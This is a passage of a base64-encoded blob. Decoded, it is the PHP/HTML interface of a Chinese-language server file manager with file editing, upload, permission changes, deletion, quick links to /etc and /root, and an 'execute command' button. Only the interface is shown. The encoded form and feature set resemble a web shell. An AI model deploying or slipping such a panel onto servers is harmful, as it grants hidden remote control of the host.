mRlci1yYWRpdXM6NXB4O2JvcmRlcjoycHggZGFzaGVkICMzNDk4ZGJ9DQogICAgICAgICAgICAgICAgLnVwbG9hZC1jb250YWluZXIgaDR7bWFyZ2luLWJvdHRvbToxMHB4O2NvbG9yOiMyYzNlNTA7Zm9udC1zaXplOjE0cHh9DQogICAgICAgICAgICAgICAgLnVwbG9hZC1mb3Jte2Rpc3BsYXk6ZmxleDtnYXA6MTBweDthbGlnbi1pdGVtczpjZW50ZXJ9DQogICAgICAgICAgICAgICAgLmZpbGUtaW5wdXR7ZmxleDoxfQ0KICAgICAgICAgICAgICAgIC5wcm9ncmVzcy1iYXJ7d2lkdGg6MTAwJTtoZWlnaHQ6NHB4O2JhY2tncm91bmQ6I2VjZjBmMTtib3JkZXItcmFkaXVzOjJweDttYXJnaW4tdG9wOjEwcHg7b3ZlcmZsb3c6aGlkZGVufQ0KICAgICAgICAgICAgICAgIC5wcm9ncmVzcy1maWxse2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzI3YWU2MDt0cmFuc2l0aW9uOndpZHRoIDAuM3N9DQogICAgICAgICAgICAgICAgLmZpbGUtbGlzdHttYXJnaW4tdG9wOjEwcHg7bWF4LWhlaWdodDoxNTBweDtvdmVyZmxvdy15OmF1dG87Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JvcmRlci1yYWRpdXM6M3B4O3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6I2Y5ZjlmOX0NCiAgICAgICAgICAgICAgICAuZmlsZS1pdGVte3BhZGRpbmc6M3B4IDVweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZWVlO2ZvbnQtc2l6ZToxMnB4fQ0KICAgICAgICAgICAgICAgIC5maWxlLWl0ZW06bGFzdC1jaGlsZHtib3JkZXItYm90dG9tOm5vbmV9DQogICAgICAgICAgICAgICAgLmZpbGUtbmFtZS10ZXh0e2Rpc3BsYXk6aW5saW5lLWJsb2NrO21heC13aWR0aDo3MCU7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwfQ0KICAgICAgICAgICAgICAgIC5maWxlLXNpemV7ZmxvYXQ6cmlnaHQ7Y29sb3I6IzY2Nn0NCiAgICAgICAgICAgICAgICAuZHJhZy1kcm9wLXRleHR7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6IzY2Njtmb250LXNpemU6MTJweDtwYWRkaW5nOjEwcHh9DQogICAgICAgICAgICA8L3N0eWxlPg0KICAgICAgICA8L2hlYWQ+DQogICAgICAgIDxib2R5Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItaW5mbyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXY+5pyN5Yqh5Zmo5qC555uu5b2VOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJy8nKSA/OiAnLycpOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2PuW9k+WJjemhueebruagueebruW9lTogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR0aGlzLT5wcm9qZWN0X3Jvb3QpOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVzZXItaW5mbyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXY+55So5oi3OiA8c3BhbiBjbGFzcz0idXNlcm5hbWUiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0VXNlcm5hbWUoKSk7ID8+PC9zcGFuPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/YWN0aW9uPWxvZ291dCIgY2xhc3M9ImxvZ291dC1idG4iPumAgOWHujwvYT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXJyZW50LXBhdGgiPuW9k+WJjei3r+W+hDogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR0aGlzLT5jdXJyZW50X3BhdGgpOyA/PjwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXZpZ2F0aW9uIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtYnV0dG9ucyI+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHJpbWFyeSIgb25jbGljaz0ic2hvd01vZGFsKCdjcmVhdGVGaWxlTW9kYWwnKSI+5paw5bu65paH5Lu2PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tcHJpbWFyeSIgb25jbGljaz0ic2hvd01vZGFsKCdjcmVhdGVEaXJNb2RhbCcpIj7mlrDlu7rmlofku7blpLk8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi11cGxvYWQiIG9uY2xpY2s9InNob3dNb2RhbCgndXBsb2FkTW9kYWwnKSI+5om56YeP5LiK5LygPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4td2FybmluZyIgb25jbGljaz0ic2hvd01vZGFsKCdjb21tYW5kTW9kYWwnKSI+5omn6KGM5ZG95LukPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc3VjY2VzcyIgb25jbGljaz0ibG9jYXRpb24ucmVsb2FkKCkiPuWIt+aWsDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vIiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj7mnI3liqHlmajmoLnnm67lvZU8L2E+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCR0aGlzLT5wcm9qZWN0X3Jvb3QpOyA/PiIgY2xhc3M9ImJ0biBidG4tcHJvamVjdCI+5b2T5YmN6aG555uuPC9hPg0KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vaG9tZSIgY2xhc3M9ImJ0biBidG4taW5mbyI+SG9tZTwvYT4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L3Zhci93d3ciIGNsYXNzPSJidG4gYnRuLWluZm8iPldlYjwvYT4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L2V0YyIgY2xhc3M9ImJ0biBidG4taW5mbyI+6YWN572uPC9hPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGVkaXRpbmdfZmlsZSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/IiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj7ov5Tlm57liJfooag8L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRhY3Rpb25fcmVzdWx0WydtZXNzYWdlJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZXNzYWdlIDw/cGhwIGVjaG8gJGFjdGlvbl9yZXN1bHRbJ3R5cGUnXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRhY3Rpb25fcmVzdWx0WydtZXNzYWdlJ10pOyA/Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZWRpdGluZ19maWxlKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaW5mby1pdGVtIj48c3Ryb25nPuaWh+S7tjo8L3N0cm9uZz4gPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlX2luZm9bJ25hbWUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWluZm8taXRlbSI+PHN0cm9uZz7ot6/lvoQ6PC9zdHJvbmc+IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZV9pbmZvWydwYXRoJ10pOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pbmZvLWl0ZW0iPjxzdHJvbmc+5aSn5bCPOjwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVfaW5mb1snc2l6ZSddKTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaW5mby1pdGVtIj48c3Ryb25nPuadg+mZkDo8L3N0cm9uZz4gPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlX2luZm9bJ3Blcm1pc3Npb25zJ10pOyA/PiAoPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlX2luZm9bJ251bWVyaWNfcGVybWlzc2lvbnMnXSk7ID8+KTwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZWRpdF9maWxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGVwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRlZGl0aW5nX2ZpbGUpOyA/PiI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImZpbGVfY29udGVudCI+5YaF5a65OjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGlkPSJmaWxlX2NvbnRlbnQiIG5hbWU9ImNvbnRlbnQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjIwIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVfY29udGVudCk7ID8+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0b3ItYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iPyIgY2xhc3M9ImJ0biI+5Y+W5raIPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij7kv53lrZg8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idXBsb2FkLWNvbnRhaW5lciIgaWQ9ImRyb3BBcmVhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxoND7mibnph4/kuIrkvKDmlofku7YgKOaUr+aMgeaLluaUvik6PC9oND4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgaWQ9InVwbG9hZEZvcm0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InVwbG9hZF9maWxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1cGxvYWQtZm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRfZmlsZXNbXSIgaWQ9InVwbG9hZF9maWxlcyIgY2xhc3M9ImZvcm0tY29udHJvbCBmaWxlLWlucHV0IiBtdWx0aXBsZSByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXVwbG9hZCI+5byA5aeL5LiK5LygPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJhZy1kcm9wLXRleHQiPuaIluaLluaUvuaWh+S7tuWIsOatpOWMuuWfnzwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1saXN0IiBpZD0iZmlsZUxpc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO2NvbG9yOiM5OTk7cGFkZGluZzoyMHB4Ij7mnKrpgInmi6nmlofku7Y8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icHJvZ3Jlc3MtYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9ncmVzcy1maWxsIiBpZD0idXBsb2FkUHJvZ3Jlc3MiIHN0eWxlPSJ3aWR0aDowJSI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icXVpY2stbGlua3MiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGg0PuW/q+mAn+WvvOiIqjo8L2g0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9LyIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vICjmnI3liqHlmajmoLnnm67lvZUpPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9PD9waHAgZWNobyB1cmxlbmNvZGUoJHRoaXMtPnByb2plY3Rfcm9vdCk7ID8+IiBjbGFzcz0icXVpY2stbGluay1idG4gcXVpY2stbGluay1wcm9qZWN0Ij7lvZPliY3pobnnm67moLnnm67lvZU8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vaG9tZSIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vaG9tZTwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPS92YXIiIGNsYXNzPSJxdWljay1saW5rLWJ0biI+L3ZhcjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPS92YXIvd3d3IiBjbGFzcz0icXVpY2stbGluay1idG4iPi92YXIvd3d3PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L2V0YyIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vZXRjPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L3RtcCIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vdG1wPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L3VzciIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vdXNyPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L29wdCIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vb3B0PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L3Jvb3QiIGNsYXNzPSJxdWljay1saW5rLWJ0biI+L3Jvb3Q8L2E+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtbmF2aWdhdGlvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGhfcGFydHMgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICR0aGlzLT5jdXJyZW50X3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGN1cnJlbnRfcGF0aCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHBhdGhfcGFydHMgYXMgJHBhcnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRwYXJ0KSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9wYXRoIC49ICgkY3VycmVudF9wYXRoID8gRElSRUNUT1JZX1NFUEFSQVRPUiA6ICcnKSAuICRwYXJ0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyAvIDxhIGhyZWY9Ij9wYXRoPScgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCkgLiAnIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkcGFydCkgLiAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJvdmVyZmxvdy14OmF1dG87Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0iZmlsZS10YWJsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoZWFkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPuWQjeensDwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD7nsbvlnos8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+5aSn5bCPPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPuS/ruaUueaXtumXtDwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD7mnYPpmZA8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+5pON5L2cPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGhlYWQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRjb250ZW50cyBhcyAkaXRlbSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZmlsZS1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ3R5cGUnXSA9PT0gJ2RpcmVjdG9yeScpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD08P3BocCBlY2hvIHVybGVuY29kZSgkaXRlbVsncGF0aCddKTsgPz4iIGNsYXNzPSJkaXJlY3RvcnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg8J+TgSA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfk4QgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkaXRlbVsndHlwZSddID09PSAnZGlyZWN0b3J5JyA/ICfnm67lvZUnIDogJ+aWh+S7tic7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ3NpemUnXSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ21vZGlmaWVkJ10pOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWydwZXJtaXNzaW9ucyddKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNtYWxsIHN0eWxlPSJjb2xvcjojN2Y4YzhkOyI+KDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbnVtZXJpY19wZXJtaXNzaW9ucyddKTsgPz4pPC9zbWFsbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImZpbGUtYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWyduYW1lJ10gIT09ICcuLicpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ3R5cGUnXSA9PT0gJ2ZpbGUnKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9lZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRpdGVtWydwYXRoJ10pOyA/PiIgY2xhc3M9ImFjdGlvbi1idG4gYnRuLWluZm8iPue8lui+kTwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImFjdGlvbi1idG4gYnRuLXByaW1hcnkiIG9uY2xpY2s9InJlbmFtZUl0ZW0oJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsncGF0aCddKTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pOyA/PicpIj7ph43lkb3lkI08L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYWN0aW9uLWJ0biBidG4td2FybmluZyIgb25jbGljaz0iY2hhbmdlUGVybWlzc2lvbnMoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsncGF0aCddKTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWydudW1lcmljX3Blcm1pc3Npb25zJ10pOyA/PicpIj7mnYPpmZA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iZGlzcGxheTppbmxpbmU7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImRlbGV0ZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ3BhdGgnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYWN0aW9uLWJ0biBidG4tZGFuZ2VyIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgn5Yig6ZmkIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz4/JykiPuWIoOmZpDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDxkaXYgaWQ9ImNyZWF0ZUZpbGVNb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgIDxoMz7mlrDlu7rmlofku7Y8L2gzPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNyZWF0ZV9maWxlIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmaWxlbmFtZSI+5paH5Lu25ZCNOjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImZpbGVuYW1lIiBuYW1lPSJmaWxlbmFtZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9kYWwoJ2NyZWF0ZUZpbGVNb2RhbCcpIj7lj5bmtog8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlw